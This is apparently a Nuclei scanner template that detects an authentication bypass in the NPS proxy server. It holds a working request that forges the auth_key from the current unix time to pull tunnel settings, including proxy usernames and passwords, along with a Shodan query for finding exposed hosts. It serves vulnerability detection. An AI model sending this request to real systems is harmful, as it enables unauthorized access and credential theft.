nps-auth-bypass: NPS - Authentication Bypass

id: nps-auth-bypass

info:
  name: NPS - Authentication Bypass
  author: SleepingBag945
  severity: high
  description: |
    This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
  reference:
    - https://mari0er.club/post/nps.html/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"window.nps"
  tags: nps,auth-bypass,vuln

http:
  - raw:
      - |
        POST /index/gettunnel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        auth_key={{md5(unix_time())}}&timestamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"VerifyKey":'
          - 'Password":'
          - 'Id":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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